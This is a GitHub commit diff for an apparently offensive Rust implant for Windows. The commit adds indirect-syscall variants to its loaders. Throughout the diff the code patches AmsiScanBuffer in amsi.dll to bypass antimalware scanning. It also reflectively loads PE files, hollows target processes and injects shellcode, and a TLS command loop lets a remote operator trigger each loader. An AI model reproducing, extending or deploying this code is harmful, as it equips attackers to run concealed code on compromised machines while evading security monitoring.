Skip to content

Commit 97fe65f

Browse files
committed
PE loading with indirect syscalls
1 parent d348c92 commit 97fe65f

File tree

6 files changed

+1024
-75
lines changed

6 files changed

+1024
-75
lines changed

src/amsi_bypass.rs

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -59,14 +59,15 @@ fn get_scan_buffer(amsiaddr: isize, phandle: isize, syscalls_value: bool) -> isi
5959
);
6060
}
6161
let mut dos_head = IMAGE_DOS_HEADER::default();
62-
fill_structure_from_array(&mut dos_head, &buf);
62+
fill_structure_from_array(&mut dos_head, &buf, syscalls_value);
6363

6464
// Retrieves the NT headers of amsi.dll
6565
let mut nt_head = IMAGE_nt_headS64::default();
6666
fill_structure_from_memory(
6767
&mut nt_head,
6868
(amsiaddr + dos_head.e_lfanew as isize) as *const c_void,
6969
phandle as isize,
70+
syscalls_value,
7071
);
7172
log::debug!(
7273
"NT headers: {:#x?}",
@@ -80,6 +81,7 @@ fn get_scan_buffer(amsiaddr: isize, phandle: isize, syscalls_value: bool) -> isi
8081
(amsiaddr + nt_head.OptionalHeader.ExportTable.VirtualAddress as isize)
8182
as *const c_void,
8283
phandle as isize,
84+
syscalls_value,
8385
);
8486
log::debug!("Exports: {:#x?}", exports);
8587

@@ -112,8 +114,11 @@ fn get_scan_buffer(amsiaddr: isize, phandle: isize, syscalls_value: bool) -> isi
112114
);
113115
}
114116
let num = u32::from_ne_bytes(nameaddr.try_into().unwrap());
115-
let funcname =
116-
read_from_memory((amsiaddr + num as isize) as *const c_void, phandle as isize);
117+
let funcname = read_from_memory(
118+
(amsiaddr + num as isize) as *const c_void,
119+
phandle as isize,
120+
syscalls_value,
121+
);
117122
if funcname.trim_end_matches('\0') == "AmsiScanBuffer" {
118123
log::debug!("Name: {}", funcname);
119124

src/client_windows.rs

Lines changed: 74 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,8 @@
11
use crate::amsi_bypass::{patch_amsi, start_process_thread};
22
use crate::loader::{reflective_loader, remote_loader, shellcode_loader};
3-
use crate::loader_syscalls::shellcode_loader_syscalls;
3+
use crate::loader_syscalls::{
4+
reflective_loader_syscalls, remote_loader_syscalls, shellcode_loader_syscalls,
5+
};
46

57
use std::error::Error;
68
use std::fs::File;
@@ -45,18 +47,31 @@ fn call_loader(file_to_load: &str, pe_to_exec: &str, loader: u8) -> Result<(), B
4547
return Err("Shellcode loading error".into());
4648
}
4749
},
48-
2 => match shellcode_loader_syscalls(buf, pe_to_exec) {
50+
2 => match remote_loader_syscalls(buf, pe_to_exec) {
51+
Ok(rl) => rl,
52+
Err(_) => {
53+
return Err("PE loading error".into());
54+
}
55+
},
56+
3 => match shellcode_loader_syscalls(buf, pe_to_exec) {
4957
Ok(rl) => rl,
5058
Err(_) => {
5159
return Err("Shellcode loading error".into());
5260
}
5361
},
54-
_ => match reflective_loader(buf) {
62+
4 => match reflective_loader(buf) {
5563
Ok(rl) => rl,
5664
Err(_) => {
5765
return Err("PE loading error".into());
5866
}
5967
},
68+
5 => match reflective_loader_syscalls(buf) {
69+
Ok(rl) => rl,
70+
Err(_) => {
71+
return Err("PE loading error".into());
72+
}
73+
},
74+
_ => log::debug!("Invalid loader ID"),
6075
}
6176
}
6277
Err(_) => {
@@ -202,6 +217,9 @@ pub fn client(i: &str, p: &str) -> Result<(), Box<dyn Error>> {
202217
|| String::from_utf8_lossy(&buff)
203218
.trim_end_matches('\0')
204219
.starts_with("load -s")
220+
|| String::from_utf8_lossy(&buff)
221+
.trim_end_matches('\0')
222+
.starts_with("syscalls -h")
205223
|| String::from_utf8_lossy(&buff)
206224
.trim_end_matches('\0')
207225
.starts_with("syscalls -s")
@@ -220,74 +238,94 @@ pub fn client(i: &str, p: &str) -> Result<(), Box<dyn Error>> {
220238
.starts_with("load -s")
221239
{
222240
tls_stream.write("Invalid argument number. Usage is : load -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute\0".as_bytes())?;
241+
} else if String::from_utf8_lossy(&buff)
242+
.trim_end_matches('\0')
243+
.starts_with("syscalls -h")
244+
{
245+
tls_stream.write("Invalid argument number. Usage is : syscalls -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow\0".as_bytes())?;
223246
} else {
224247
tls_stream.write("Invalid argument number. Usage is : syscalls -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute\0".as_bytes())?;
225248
}
226249
} else {
250+
let load_ret: Result<(), Box<dyn Error>>;
227251
if String::from_utf8_lossy(&buff)
228252
.trim_end_matches('\0')
229253
.starts_with("load -h")
230254
{
231-
let load_ret = call_loader(
255+
load_ret = call_loader(
232256
path[2].trim_end_matches('\0'),
233257
path[3].trim_end_matches('\0'),
234258
0,
235259
);
236-
match load_ret {
237-
Ok(()) => {
238-
tls_stream.write("\0".as_bytes())?;
239-
}
240-
Err(r) => {
241-
tls_stream.write(r.to_string().as_bytes())?;
242-
}
243-
};
244260
} else if String::from_utf8_lossy(&buff)
245261
.trim_end_matches('\0')
246262
.starts_with("load -s")
247263
{
248-
let load_ret = call_loader(
264+
load_ret = call_loader(
249265
path[2].trim_end_matches('\0'),
250266
path[3].trim_end_matches('\0'),
251267
1,
252268
);
253-
match load_ret {
254-
Ok(()) => {
255-
tls_stream.write("\0".as_bytes())?;
256-
}
257-
Err(r) => {
258-
tls_stream.write(r.to_string().as_bytes())?;
259-
}
260-
};
261-
} else {
262-
let load_ret = call_loader(
269+
} else if String::from_utf8_lossy(&buff)
270+
.trim_end_matches('\0')
271+
.starts_with("syscalls -h")
272+
{
273+
load_ret = call_loader(
263274
path[2].trim_end_matches('\0'),
264275
path[3].trim_end_matches('\0'),
265276
2,
266277
);
267-
match load_ret {
268-
Ok(()) => {
269-
tls_stream.write("\0".as_bytes())?;
270-
}
271-
Err(r) => {
272-
tls_stream.write(r.to_string().as_bytes())?;
273-
}
274-
};
278+
} else {
279+
load_ret = call_loader(
280+
path[2].trim_end_matches('\0'),
281+
path[3].trim_end_matches('\0'),
282+
3,
283+
);
275284
}
285+
match load_ret {
286+
Ok(()) => {
287+
tls_stream.write("\0".as_bytes())?;
288+
}
289+
Err(r) => {
290+
tls_stream.write(r.to_string().as_bytes())?;
291+
}
292+
};
276293
}
277294
} else if String::from_utf8_lossy(&buff)
278295
.trim_end_matches('\0')
279296
.starts_with("load")
297+
|| String::from_utf8_lossy(&buff)
298+
.trim_end_matches('\0')
299+
.starts_with("syscalls")
280300
{
281301
let tmp = "".to_owned();
282302
let cmd = tmp + String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\0');
283303
let path: Vec<&str> = cmd.split(" ").collect();
284304
if path.len() != 2 {
285-
tls_stream.write(
286-
"Invalid argument number. Usage is : load C:\\path\\to\\PE_to_load\0"
287-
.as_bytes(),
288-
)?;
305+
if String::from_utf8_lossy(&buff)
306+
.trim_end_matches('\0')
307+
.starts_with("load")
308+
{
309+
tls_stream.write(
310+
"Invalid argument number. Usage is : load C:\\path\\to\\PE_to_load\0"
311+
.as_bytes(),
312+
)?;
313+
} else {
314+
tls_stream.write(
315+
"Invalid argument number. Usage is : syscalls C:\\path\\to\\PE_to_load\0"
316+
.as_bytes(),
317+
)?;
318+
}
289319
} else {
290-
let load_ret = call_loader(path[1].trim_end_matches('\0'), "", 3);
320+
let load_ret: Result<(), Box<dyn Error>>;
321+
if String::from_utf8_lossy(&buff)
322+
.trim_end_matches('\0')
323+
.starts_with("load")
324+
{
325+
load_ret = call_loader(path[1].trim_end_matches('\0'), "", 4);
326+
} else {
327+
load_ret = call_loader(path[1].trim_end_matches('\0'), "", 5);
328+
}
291329
match load_ret {
292330
Ok(()) => {
293331
tls_stream.write("\0".as_bytes())?;

src/loader.rs

Lines changed: 16 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -47,7 +47,7 @@ pub fn reflective_loader(buf: Vec<u8>) -> Result<(), Box<dyn Error>> {
4747
);
4848

4949
let mut dos_head = IMAGE_DOS_HEADER::default();
50-
fill_structure_from_array(&mut dos_head, &buf);
50+
fill_structure_from_array(&mut dos_head, &buf, false);
5151

5252
log::debug!("DOS magic header : {:x?}", dos_head.e_magic);
5353
log::debug!(
@@ -61,6 +61,7 @@ pub fn reflective_loader(buf: Vec<u8>) -> Result<(), Box<dyn Error>> {
6161
&mut nt_head,
6262
(base as isize + dos_head.e_lfanew as isize) as *const c_void,
6363
GetCurrentProcess(),
64+
false,
6465
);
6566

6667
log::debug!("NT headers : {:#x?}", nt_head);
@@ -77,6 +78,7 @@ pub fn reflective_loader(buf: Vec<u8>) -> Result<(), Box<dyn Error>> {
7778
+ (i * std::mem::size_of::<IMAGE_SECTION_HEADER>() as usize))
7879
as *const c_void,
7980
GetCurrentProcess(),
81+
false,
8082
);
8183
log::debug!(
8284
"Virtual addresses of sections {} is {:#x?}",
@@ -111,6 +113,7 @@ pub fn reflective_loader(buf: Vec<u8>) -> Result<(), Box<dyn Error>> {
111113
&mut image_descriptor,
112114
origin_first_thunk as *const c_void,
113115
GetCurrentProcess(),
116+
false,
114117
);
115118
if image_descriptor.Name == 0 && image_descriptor.FirstThunk == 0 {
116119
log::debug!("No more import");
@@ -120,6 +123,7 @@ pub fn reflective_loader(buf: Vec<u8>) -> Result<(), Box<dyn Error>> {
120123
let import_name = read_from_memory(
121124
(base as usize + image_descriptor.Name as usize) as *const c_void,
122125
GetCurrentProcess(),
126+
false,
123127
);
124128
let load_dll = LoadLibraryA(import_name.as_bytes().as_ptr() as *const u8);
125129
log::debug!("Import DLL name : {}", import_name);
@@ -136,6 +140,7 @@ pub fn reflective_loader(buf: Vec<u8>) -> Result<(), Box<dyn Error>> {
136140
&mut thunk_data,
137141
(thunk_ptr as usize) as *const c_void,
138142
GetCurrentProcess(),
143+
false,
139144
);
140145
log::debug!("{:?}", thunk_data);
141146
if thunk_data.Address == [0; 8]
@@ -150,6 +155,7 @@ pub fn reflective_loader(buf: Vec<u8>) -> Result<(), Box<dyn Error>> {
150155
let function_name = read_from_memory(
151156
(base as usize + offset as usize + 2) as *const c_void,
152157
GetCurrentProcess(),
158+
false,
153159
);
154160
log::debug!("Function : {}", function_name);
155161

@@ -195,6 +201,7 @@ pub fn reflective_loader(buf: Vec<u8>) -> Result<(), Box<dyn Error>> {
195201
&mut reloc,
196202
first_reloc_ptr as *const c_void,
197203
GetCurrentProcess(),
204+
false,
198205
);
199206

200207
if reloc.SizeofBlock == 0 {
@@ -373,7 +380,7 @@ pub fn remote_loader(buf: Vec<u8>, pe_to_execute: &str) -> Result<(), Box<dyn Er
373380
std::ptr::copy(buf.as_ptr() as *const u8, base as *mut u8, header_s);
374381

375382
let mut dos_head = IMAGE_DOS_HEADER::default();
376-
fill_structure_from_memory(&mut dos_head, base, GetCurrentProcess());
383+
fill_structure_from_memory(&mut dos_head, base, GetCurrentProcess(), false);
377384

378385
log::debug!("DOS magic header : {:x?}", dos_head.e_magic);
379386
log::debug!(
@@ -387,6 +394,7 @@ pub fn remote_loader(buf: Vec<u8>, pe_to_execute: &str) -> Result<(), Box<dyn Er
387394
&mut nt_head,
388395
(base as isize + dos_head.e_lfanew as isize) as *const c_void,
389396
GetCurrentProcess(),
397+
false,
390398
);
391399

392400
log::debug!("NT headers : {:#x?}", nt_head);
@@ -403,6 +411,7 @@ pub fn remote_loader(buf: Vec<u8>, pe_to_execute: &str) -> Result<(), Box<dyn Er
403411
+ (i * std::mem::size_of::<IMAGE_SECTION_HEADER>() as usize))
404412
as *const c_void,
405413
GetCurrentProcess(),
414+
false,
406415
);
407416
log::debug!(
408417
"Virtual addresses of sections {} is {:#x?}",
@@ -445,6 +454,7 @@ pub fn remote_loader(buf: Vec<u8>, pe_to_execute: &str) -> Result<(), Box<dyn Er
445454
&mut image_descriptor,
446455
origin_first_thunk as *const c_void,
447456
GetCurrentProcess(),
457+
false,
448458
);
449459
if image_descriptor.Name == 0 && image_descriptor.FirstThunk == 0 {
450460
log::debug!("No more import");
@@ -454,6 +464,7 @@ pub fn remote_loader(buf: Vec<u8>, pe_to_execute: &str) -> Result<(), Box<dyn Er
454464
let import_name = read_from_memory(
455465
(base as usize + image_descriptor.Name as usize) as *const c_void,
456466
GetCurrentProcess(),
467+
false,
457468
);
458469
let load_dll = LoadLibraryA(import_name.as_bytes().as_ptr() as *const u8);
459470
log::debug!("Import DLL name : {}", import_name);
@@ -470,6 +481,7 @@ pub fn remote_loader(buf: Vec<u8>, pe_to_execute: &str) -> Result<(), Box<dyn Er
470481
&mut thunk_data,
471482
(thunk_ptr as usize) as *const c_void,
472483
GetCurrentProcess(),
484+
false,
473485
);
474486
log::debug!("{:x?}", thunk_data);
475487
if thunk_data.Address == [0; 8]
@@ -484,6 +496,7 @@ pub fn remote_loader(buf: Vec<u8>, pe_to_execute: &str) -> Result<(), Box<dyn Er
484496
let function_name = read_from_memory(
485497
(base as usize + offset as usize + 2) as *const c_void,
486498
GetCurrentProcess(),
499+
false,
487500
);
488501
log::debug!("Function : {}", function_name);
489502

@@ -538,6 +551,7 @@ pub fn remote_loader(buf: Vec<u8>, pe_to_execute: &str) -> Result<(), Box<dyn Er
538551
&mut reloc,
539552
first_reloc_ptr as *const c_void,
540553
GetCurrentProcess(),
554+
false,
541555
);
542556

543557
if reloc.SizeofBlock == 0 {

0 commit comments

Comments
 (0)